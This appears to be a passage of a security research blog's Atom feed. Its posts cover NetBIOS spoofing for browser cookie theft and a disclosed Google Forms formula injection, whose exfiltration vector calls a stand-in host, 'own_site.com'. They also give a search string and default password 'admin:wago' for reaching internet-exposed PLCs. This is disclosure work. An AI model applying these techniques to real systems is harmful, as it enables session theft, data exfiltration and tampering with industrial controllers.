<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3204067695500287971</id><updated>2012-02-10T16:11:00.214-08:00</updated><category term='corporate users'/><category term='shellcode'/><category term='news'/><category term='xss in securityfocus'/><category term='Explorer'/><category term='vulnerability'/><category term='zeronights'/><category term='evasion'/><category term='kaspersky'/><category term='hacking'/><category term='PLC'/><category term='whitepaper'/><category term='conference'/><category term='mssql'/><category term='SMBRelay bible'/><category term='RSS'/><category term='dep'/><category term='xss'/><category term='public role'/><category term='SCADA'/><category term='SMB relay'/><category term='NetBIOS'/><category term='aslr'/><category term='dsecrg'/><category term='lay bible'/><category term='MS Office'/><category term='cpu'/><category term='non-privileged account'/><category term='IBM Websphere'/><category term='security'/><category term='0-day'/><category term='languard'/><category term='metasploit'/><category term='symantec'/><category term='nbns-spoofing'/><category term='oracle'/><category term='sap'/><category term='xss in image'/><category term='client-side'/><category term='exploits'/><category term='sid'/><category term='jit spray'/><category term='sap security'/><category term='from application down to os'/><category term='TNS listener'/><category term='fun'/><category term='erp'/><category term='pentest'/><category term='exploit'/><category term='passthehash'/><title type='text'>Digital Security Research Group</title><subtitle type='html'>Blog of Digital Security Research Group which is focused on security of Enterprise business applicaions (ERP,SRM,CRM...) and technology networks (SCADA).</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>33</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-659487243834402370</id><published>2012-01-25T06:02:00.000-08:00</published><updated>2012-01-25T08:10:54.025-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentest'/><category scheme='http://www.blogger.com/atom/ns#' term='NetBIOS'/><category scheme='http://www.blogger.com/atom/ns#' term='nbns-spoofing'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>NetBIOS spoofing for attacks on browser</title><content type='html'>Sometime ago during pentest NetBIOS protocol got my attention. Especially, NetBIOS naming and its co-work with DNS.&lt;br /&gt;NetBIOS is an old protocol, distributed world-wide, but it doesn’t have many security mechanisms. And I think that many interesting things are born in different technologies’ interception. So I started a little research and I want to show some results of it.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;NetBIOS Intro&lt;/span&gt;&lt;br /&gt;First of all, there is some common information about NetBIOS.&lt;br /&gt;From wiki:&lt;br /&gt;“NetBIOS is an acronym for Network Basic Input/Output System. It provides services related to the session layer of the OSI model allowing applications on separate computers to communicate over a local area network As strictly an API, NetBIOS is not a networking protocol.”&lt;br /&gt;NetBIOS protocol provides some services, including Name Service.  It is responsible for resolving of NetBIOS names to IP-address. Name Service operates on UDP port 137. So it’s analogue to DNS.&lt;br /&gt;NetBIOS Name can include any alphanumeric characters except:&lt;br /&gt;&lt;blockquote&gt;\ / : * ? " ; | + space&lt;/blockquote&gt;Max Name length is 15 characters.&lt;br /&gt;Name resolution can be done either by a special WINS server (NetBIOS Name Server) or a broadcast request. But the second method is often used.&lt;br /&gt;A NetBIOS request has «Transaction ID» field with a unique identifier. So, when somebody tries to resolve NetBIOS name, Windows sends a broadcast request and we can catch it and send a reply with any IP-address. It is a NetBIOS Name Service-spoofing (NBNS) attack – a classic Man-in-the-middle attack.&lt;br /&gt;In addition, NetBIOS is enabled by default in all Windows systems.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Old Tricks&lt;/span&gt;&lt;br /&gt;When I got into the NetBIOS-protocol, I’ve got an idea to create a Metasploit module to perform NBNS-spoofing, but Tim Medin passes ahead of me :) Almost a year ago, he created that module (auxiliary/spoof/nbns/nbns_response). In addition, he wrote a great post about using of &lt;a href="http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html"&gt;NBNS-spoofing for NTLM-relay attack&lt;/a&gt;. A bit later I’ll add his trick to SMBRelay Bible, if he accepts it :)&lt;br /&gt;Then I tried to improve his ideas…&lt;br /&gt;&lt;br /&gt;Tim wrote two interesting details.&lt;br /&gt;The first is a sequence of resolution IP-addresses in Windows OS:&lt;br /&gt;1) local hosts file - C:\Windows\System32\drivers\etc\hosts&lt;br /&gt;2) DNS&lt;br /&gt;3) NetBIOS Name Service&lt;br /&gt;&lt;br /&gt;Secondly, all modern browsers have “intelligent address bar”. This bar is used as address bar and as a search bar at the same time. When a user enters a word in it, a browser tries to access a host with such name and only then it tries to search this word.&lt;br /&gt;For example, if I enter “dsecrg” in address bar of my browser, it tries to get IP-address of “dsecrg” by DNS, then by NetBIOS Name Service and after all “dsecrg” is gone to default search engine.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-Y_EKvNXisYY/TyAMzpW4NrI/AAAAAAAAAFg/Xo7zjUkYmro/s1600/bing.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 197px;" src="http://1.bp.blogspot.com/-Y_EKvNXisYY/TyAMzpW4NrI/AAAAAAAAAFg/Xo7zjUkYmro/s400/bing.jpg" alt="" id="BLOGGER_PHOTO_ID_5701571209665722034" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Therefore, we can use a NBNS-spoofing attack and send reply with our IP-address to user’s browser, when it tries to resolve “dsecrg” by NBNS. Then user’s browser connects to our web-server.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;New Tricks&lt;/span&gt;&lt;br /&gt;But let’s go forward. As we can see, if Windows can’t perform IP-resolution via DNS, it tries NBNS.&lt;br /&gt;And what will be if we try to connect to aaa.google.com?&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-LX4qf0rNMaM/TyANCUy4o6I/AAAAAAAAAFs/aOnnGR7MWuo/s1600/google.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 178px;" src="http://4.bp.blogspot.com/-LX4qf0rNMaM/TyANCUy4o6I/AAAAAAAAAFs/aOnnGR7MWuo/s400/google.JPG" alt="" id="BLOGGER_PHOTO_ID_5701571461844083618" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;There is analogue situation. DNS is the first, NBNS is the second… And we can spoof Internet addresses! So, there we have that NBNS-spoofing is analogue to DNS-spoofing.&lt;br /&gt;&lt;br /&gt;Is NBNS-spoofing attack better than DNS-spoofing?&lt;br /&gt;No, it is not. Because NBNS-spoofing attack has some rough limitations:&lt;br /&gt;1) It works only in local networks&lt;br /&gt;2) It has hostname length limitation (15 characters)&lt;br /&gt;3) It can spoof only hostnames which DNS can’t resolve. But we can bypass this limitation, if we can make DoS attack on DNS server.&lt;br /&gt;&lt;br /&gt;By the way, NBNS-spoofing attack can be very useful in some situations. The main plus of this attack is that it doesn’t send any illegal traffic. DNS-spoofing or arp-poisoning are “aggressive” attacks and perform much “bad” traffic. So, it’s harder to detect NBNS-spoofing attack by IPS/IDS systems. In addition, it can be useful when DNSSEC is used in a network.&lt;br /&gt;&lt;br /&gt;Ok, but what can we gain with NBNS-spoofing’s limitations?&lt;br /&gt;Yes, we can spoof only hostname which it can’t find via DNS (without DoS of DNS server), but we can spoof subdomains! And it is enough for us.&lt;br /&gt;There is a list, what we can do, if we can spoof subdomain of attacking domain and “redirect” user to our web-server.&lt;br /&gt;&lt;br /&gt;1) Stole session cookie&lt;br /&gt;Cookies can be set to all subdomains of a domain (domain=.foo.com;). So if we spoof a subdomain of a domain, browser sends us a victim’s session cookies.&lt;br /&gt;Therefore, if a cookie is set without a domain-field (such situation is very often), Internet Explorer sets them to a domain and all its subdomains. But, by RFC, IE should set it only to current domain. (Researched by &lt;a href="https://twitter.com/@D0znpp"&gt;@D0znpp&lt;/a&gt;)&lt;br /&gt;As we can see, we can steal cookies very often.&lt;br /&gt;&lt;br /&gt;2) Session Fixation&lt;br /&gt;Same Origin Policies set an interesting exception to cross domain interaction rules. Subdomain can set (and rewrite) a cookie of domain. For example, aaa.google.com can set cookie to google.com, but couldn’t set to bbb.google.com or zzz.aaa.google.com.&lt;br /&gt;We can use it.&lt;br /&gt;If a web-application of a server has session fixation vulnerability, we can spoof subdomain of this server and set cookie to it.&lt;br /&gt;&lt;br /&gt;*A strange moment. During test I was trying to set cookie to “localhost” from subdomain of localhost, but I couldn’t do it.&lt;br /&gt;&lt;br /&gt;3) Cross domain policies bypass.&lt;br /&gt;It is a frequent situation, when * is used for domain in crossdomain.xml.&lt;br /&gt;For example, adobe.com:&lt;br /&gt;&amp;lt;allow-access-from domain="*.adobe.com"&amp;gt;&lt;br /&gt;We can spoof subdomain (aaa.adobe.com) and get full session riding via Flash.&lt;br /&gt;&lt;br /&gt;4) Phishing&lt;br /&gt;Classic phishing attacks…&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Catch a user&lt;/span&gt;&lt;br /&gt;In all these attack vectors, we have a little problem. How to enforce user to come to our (fake) subdomain? For resolving the problem, we can use a NBNS-spoofing attack :)&lt;br /&gt;Example of cookie stealing for example.com:&lt;br /&gt;1) Run NBNS-spoofing against all domains&lt;br /&gt;2) Run our web-server with a little script, which should:&lt;br /&gt;- Collect incoming cookies (sorted by Host http-request field)&lt;br /&gt;- Reply a simple html page with hidden iframe with “src=aaa.example.com”&lt;br /&gt;3) When user inserts into browser any inexistent domain name, our NBNS-spoofing attack will work and his browser will come to our web-server. Then the browser will try to open aaa.example.com, NBNS-spoofing attack will work again and we’ll get cookies from example.com.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Outro&lt;/span&gt;&lt;br /&gt;NBNS-spoofing attack is an interesting stuff and it’s not looking too hard to realize such attacks in real life.&lt;br /&gt;&lt;br /&gt;I’ll be glad if my research will be interesting and useful for anyone :)&lt;br /&gt;By the way, I would like to thank &lt;a href="https://twitter.com/@D0znpp"&gt;@D0znpp&lt;/a&gt; for his help!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And thank you, for your attention.&lt;br /&gt;&lt;a href="https://twitter.com/antyurin"&gt;Alexey Tyurin&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-659487243834402370?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/659487243834402370/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2012/01/netbios-spoofing-for-attacks-on.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/659487243834402370'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/659487243834402370'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2012/01/netbios-spoofing-for-attacks-on.html' title='NetBIOS spoofing for attacks on browser'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-Y_EKvNXisYY/TyAMzpW4NrI/AAAAAAAAAFg/Xo7zjUkYmro/s72-c/bing.jpg' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-6091284852664163151</id><published>2011-12-21T02:20:00.000-08:00</published><updated>2011-12-21T02:31:24.672-08:00</updated><title type='text'>Excel formula injection in Google Docs</title><content type='html'>Surely all of you know about &lt;a href="http://www.google.com/about/corporate/company/rewardprogram.html"&gt;Google reward program&lt;/a&gt; for information security researchers who provide information about weak spots of Google resources. We had the chance to participate in this program, too. Here is a short story from &lt;a href="https://twitter.com/_chipik"&gt;@_chipik&lt;/a&gt; and &lt;a href="https://twitter.com/asintsov"&gt;@asintsov&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;One day we needed to conduct a small survey, and we decided to use Google Docs as platform for the survey.&lt;br /&gt;There is an object in Google Docs called Google Forms, and, as obvious from the name, it is used to create various surveys and tests forms.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-MrWrGWo9hKE/TvGzsWgFwyI/AAAAAAAAABg/mIC1thXPtnc/s1600/1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 212px;" src="http://2.bp.blogspot.com/-MrWrGWo9hKE/TvGzsWgFwyI/AAAAAAAAABg/mIC1thXPtnc/s320/1.png" alt="" id="BLOGGER_PHOTO_ID_5688525378881438498" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;After a form is created, its URL is published on the Internet or sent to people who are to participate in the survey.&lt;br /&gt;This is how the form looks for a participant:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-l0QXVfpDqXM/TvGz6hbb4zI/AAAAAAAAABs/hO_VWLg2Kgw/s1600/2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 145px;" src="http://1.bp.blogspot.com/-l0QXVfpDqXM/TvGz6hbb4zI/AAAAAAAAABs/hO_VWLg2Kgw/s320/2.png" alt="" id="BLOGGER_PHOTO_ID_5688525622332875570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;And this is how the author sees the participant's answers:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-9sDiVPOEPfo/TvG0FaMxoeI/AAAAAAAAAB4/aUbC2JbdzOI/s1600/3.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 215px; height: 320px;" src="http://2.bp.blogspot.com/-9sDiVPOEPfo/TvG0FaMxoeI/AAAAAAAAAB4/aUbC2JbdzOI/s320/3.png" alt="" id="BLOGGER_PHOTO_ID_5688525809370898914" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I suppose that any web researcher upon seeing a form instinctively puts ‘,",&amp;gt; and other interesting symbols here?&lt;br /&gt;We tried it, too. However, everything was encoded and filtered exactly as planned.&lt;br /&gt;Well… But all of user input is inserted into an Excel table, so why don't we try to inject some formula?&lt;br /&gt;Excel formulas start with an “=”.&lt;br /&gt;OK, let’s give it a try.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-ClI6iU1vq0A/TvG0Pi7VduI/AAAAAAAAACE/CazItRKQ3Fg/s1600/4.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 65px;" src="http://3.bp.blogspot.com/-ClI6iU1vq0A/TvG0Pi7VduI/AAAAAAAAACE/CazItRKQ3Fg/s320/4.png" alt="" id="BLOGGER_PHOTO_ID_5688525983512360674" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Fail. Cunning Google puts a space symbol before the "=" so that the formula is taken for a simple text cell.&lt;br /&gt;So how do we get rid of the space? Easy as pie: use backspace :)&lt;br /&gt;%08 is the Hex code of the backspace key.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-NI5xgDHxMbc/TvG0WPMuVQI/AAAAAAAAACQ/TGtjB4-3cds/s1600/5.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 238px; height: 163px;" src="http://2.bp.blogspot.com/-NI5xgDHxMbc/TvG0WPMuVQI/AAAAAAAAACQ/TGtjB4-3cds/s320/5.png" alt="" id="BLOGGER_PHOTO_ID_5688526098475668738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Thus, we wrote in the entry field:&lt;br /&gt;%08=1+2+C3&lt;br /&gt;&lt;br /&gt;Voila!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-8S6IeweFWv4/TvG0dx7tasI/AAAAAAAAACc/P236NHaEG6w/s1600/6.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 117px;" src="http://4.bp.blogspot.com/-8S6IeweFWv4/TvG0dx7tasI/AAAAAAAAACc/P236NHaEG6w/s320/6.png" alt="" id="BLOGGER_PHOTO_ID_5688526228058630850" border="0" /&gt;&lt;/a&gt;The formula got inserted into the table just fine.&lt;br /&gt;All we had to do now was devise an interesting and practical vector for this particular injection. Google Functions helped us here.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-l_K5LyZaCZc/TvG0op_rEHI/AAAAAAAAACo/nv7rPNrAV5w/s1600/7.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 169px;" src="http://1.bp.blogspot.com/-l_K5LyZaCZc/TvG0op_rEHI/AAAAAAAAACo/nv7rPNrAV5w/s320/7.png" alt="" id="BLOGGER_PHOTO_ID_5688526414906331250" border="0" /&gt;&lt;/a&gt;With the help of Google Functions it was possible to execute a request to any domain so that the request results got inserted into a specified cell.&lt;br /&gt;&lt;br /&gt;That gave us the following attack vector:&lt;br /&gt;1) Put sensitive user data into A1 cell (or probably they are already there)&lt;br /&gt;2) Put a formula which makes GET request to http://own_site.com/secret_data_in_base64 into Z666 cell.&lt;br /&gt;3) Read web server logs, get data from cells.&lt;br /&gt;4) Profit!&lt;br /&gt;&lt;br /&gt;Soon after describing the bug and the possible attack vector we got the following letter:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-jVXEhZX74Uw/TvG045MPgrI/AAAAAAAAAC0/IWhvttXYlcM/s1600/8.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 55px;" src="http://2.bp.blogspot.com/-jVXEhZX74Uw/TvG045MPgrI/AAAAAAAAAC0/IWhvttXYlcM/s320/8.png" alt="" id="BLOGGER_PHOTO_ID_5688526693863490226" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;And a bit later we saw our names in &lt;a href="http://www.google.com/about/corporate/company/halloffame.html"&gt;Google Hall of Fame&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-IQdJqavXli4/TvG1N8e9q5I/AAAAAAAAADM/-dX1kxzqDx8/s1600/9.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 136px;" src="http://4.bp.blogspot.com/-IQdJqavXli4/TvG1N8e9q5I/AAAAAAAAADM/-dX1kxzqDx8/s320/9.png" alt="" id="BLOGGER_PHOTO_ID_5688527055524572050" border="0" /&gt;&lt;/a&gt;Finally, a little Google Hack ;)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-ydI_YeYaxX8/TvG1FrESW1I/AAAAAAAAADA/eHog0_7qsJ0/s1600/10.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 254px;" src="http://4.bp.blogspot.com/-ydI_YeYaxX8/TvG1FrESW1I/AAAAAAAAADA/eHog0_7qsJ0/s320/10.png" alt="" id="BLOGGER_PHOTO_ID_5688526913410325330" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-6091284852664163151?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/6091284852664163151/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2011/12/excel-formula-injection-in-google-docs.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/6091284852664163151'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/6091284852664163151'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2011/12/excel-formula-injection-in-google-docs.html' title='Excel formula injection in Google Docs'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-MrWrGWo9hKE/TvGzsWgFwyI/AAAAAAAAABg/mIC1thXPtnc/s72-c/1.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-4571284887711677073</id><published>2011-11-22T08:22:00.000-08:00</published><updated>2011-11-23T14:17:23.892-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='zeronights'/><category scheme='http://www.blogger.com/atom/ns#' term='PLC'/><category scheme='http://www.blogger.com/atom/ns#' term='SCADA'/><title type='text'>Hacking PLC from the internet part1.1 (Edited)</title><content type='html'>So many of you guys probably know that SCADA systems can be found in the internet. It is not so hard. You just need to know google or shodanhq search strings.&lt;br&gt;&lt;br /&gt;&lt;br /&gt;But what is more important is that PLC devices that must be much more secured from the outside than SCADA are also available from the internet!&lt;br&gt;&lt;br /&gt;&lt;br /&gt;Let me show you one example of one of the most popular PLC device from WAGO.  &lt;br /&gt;It can be easily founded using the &lt;span style="font-weight:bold;"&gt;inurl:/plc/webvisu.htm&lt;/span&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Just a little add-on. You can also use ShodanHq with search string "/plc/webvisu.htm"&lt;br /&gt;and fing 90 more systems.&lt;br&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And you can find real examples of remotely operated PLC devices like a smart house for example. And of cause there are some default passwords like &lt;span style="font-weight:bold;"&gt;admin:wago&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-YU5S9awOAhk/TsvNqQ-uWtI/AAAAAAAAABU/0nw1Ey_5L4Y/s1600/codesys11111.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 256px;" src="http://1.bp.blogspot.com/-YU5S9awOAhk/TsvNqQ-uWtI/AAAAAAAAABU/0nw1Ey_5L4Y/s320/codesys11111.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5677857881226894034" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;More Epic SCADA and PLC pwnage  examples and 0-days on real devices will be presented at &lt;a href="http://zeronights.org"&gt;zeronighs.org&lt;/a&gt; conference by DSecRG (&lt;a href="http://erpscan.com"&gt;ERPScan&lt;/a&gt; Research) in November 25.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3204067695500287971-4571284887711677073?l=dsecrg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dsecrg.blogspot.com/feeds/4571284887711677073/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dsecrg.blogspot.com/2011/11/hacking-plc-from-internet-part1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/4571284887711677073'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3204067695500287971/posts/default/4571284887711677073'/><link rel='alternate' type='text/html' href='http://dsecrg.blogspot.com/2011/11/hacking-plc-from-internet-part1.html' title='Hacking PLC from the internet part1.1 (Edited)'/><author><name>DSecRG</name><uri>http://www.blogger.com/profile/13899949063572916063</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-YU5S9awOAhk/TsvNqQ-uWtI/AAAAAAAAABU/0nw1Ey_5L4Y/s72-c/codesys11111.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3204067695500287971.post-2215775302249014192</id><published>2011-11-21T12:16:00.000-08:00</published><updated>2011-11-21T12:18:02.849-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sap'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='sap security'/><title type='text'>Mass disclose of vulnerabilities in SAP from DSECRG (ERPScan research center)</title><content type='html'>This month ERPScan specialists published 8 vulnerabilities of different criticality, found in SAP products.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;Vulnerabilities representing almost all risks from the OWASP Top 10: from path traversal and XSS to authorization bypass and code injection - were published on ERPScan.com site.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;blockquote&gt;Every month we publish information about vulnerabilities founded in SAP products by our specialists, but this was a really productive month. We have to say that SAP increased the rate of reaction against vulnerabilities found by third-party researchers. Right now they much faster find solutions for these vulnerabilities, it makes the system more secure.&lt;br /&gt;&lt;br /&gt;However there is still a huge problem connected with administrators’ ignorance and the complexity of installing updates. That’s why according to our surveys a huge amount of SAP systems, including those available via internet, contains vulnerabilities, which are already closed by SAP. These companies can be very easy targets for attackers,&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;— said Alexander Polyakov, the CTO of ERPScan.&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;Details can be found here:&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;a title="[DSECRG-11-041] SAP NetWeaver – Authentication bypass (Verb Tampering)" href="http://erpscan.com/advisories/dsecrg-11-041-sap-netweaver-authentication-bypass-verb-tampering/"&gt;http://erpscan.com/advisories/dsecrg-11-041-sap-netweaver-authentication-bypass-verb-tampering/&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;a title="[DSECRG-11-040] SAP NetWeaver SPML – XML CSRF user creation" href="http://erpscan.com/advisories/dsecrg-11-040-sap-netweaver-spml-xml-csrf-user-creation/"&gt;http://erpscan.com/advisories/dsecrg-11-040-sap-netweaver-spml-xml-csrf-user-creation/&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;a title="[DSECRG-11-039] SAP NetWeaver TH_GREP module – Code injection vulnerability (NEW)" href="http://erpscan.com/advisories/dsecrg-11-039-sap-netweaver-th_grep-module-code-injection-vulnerability-new/"&gt;http://erpscan.com/advisories/dsecrg-11-039-sap-netweaver-th_grep-module-code-injection-vulnerability-new/&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;a title="[DSECRG-11-038] SAP RSTXSCRP report – smb relay vulnerability" href="http://erpscan.com/advisories/dsecrg-11-038-sap-rstxscrp-report-smb-relay-vulnerability/"&gt;http://erpscan.com/advisories/dsecrg-11-038-sap-rstxscrp-report-smb-relay-vulnerability/&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;a title="[DSECRG-11-037] SAP BW Doc – Multiple XSS" href="http://erpscan.com/advisories/dsecrg-11-037-sap-bw-doc-multiple-xss/"&gt;http://erpscan.com/advisories/dsecrg-11-037-sap-bw-doc-multiple-xss/&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;a title="[DSECRG-11-037] SAP BW Doc – Multiple XSS" href="http://erpscan.com/advisories/dsecrg-11-037-sap-bw-doc-multiple-xss/"&gt;http://erpscan.com/advisories/dsecrg-11-036-sap-netwaver-virus-scan-interface-multiple-xss/&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;a title="[DSECRG-11-035] SAP GUI BAPI Explorer- Unauthorized execution of function" href="http://erpscan.com/advisories/dsecrg-11-035-sap-gui-bapi-explorer-unauthorized-execution-of-function/"&gt;http://erpscan.com/advisories/dsecrg-11-035-sap-gui-bapi-explorer-unauthorized-execution-of-function/&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;a title="[DSECRG-11-034] SAP NetWeaver J2EE MeSync – information disclose" 